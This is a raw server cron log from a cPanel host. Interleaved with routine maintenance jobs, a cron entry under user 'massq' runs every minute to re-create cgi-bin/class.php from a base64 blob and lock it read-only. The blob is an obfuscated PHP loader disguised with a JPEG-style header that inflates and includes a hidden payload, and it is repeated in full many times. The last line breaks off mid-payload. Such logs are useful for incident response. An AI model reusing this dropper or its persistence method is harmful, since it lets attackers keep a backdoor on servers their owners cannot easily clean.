Apr 10 12:13:01 server CROND[16666]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:14:01 server CROND[16739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:15:01 server CROND[16815]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 10 12:15:01 server CROND[16816]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 12:15:01 server CROND[16818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:15:01 server CROND[16817]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr 10 12:15:01 server CROND[16819]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 12:16:01 server CROND[16978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:17:01 server CROND[17150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:18:01 server CROND[17225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:19:01 server CROND[17307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:20:01 server CROND[17383]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 12:20:01 server CROND[17384]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 12:20:01 server CROND[17387]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 12:20:01 server CROND[17389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:20:01 server CROND[17388]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 12:21:01 server CROND[17525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:22:01 server CROND[17590]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:23:01 server CROND[17751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:24:01 server CROND[17834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:25:01 server CROND[17903]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 12:25:01 server CROND[17904]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 10 12:25:01 server CROND[17905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:25:01 server CROND[17906]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 12:26:01 server CROND[18032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRm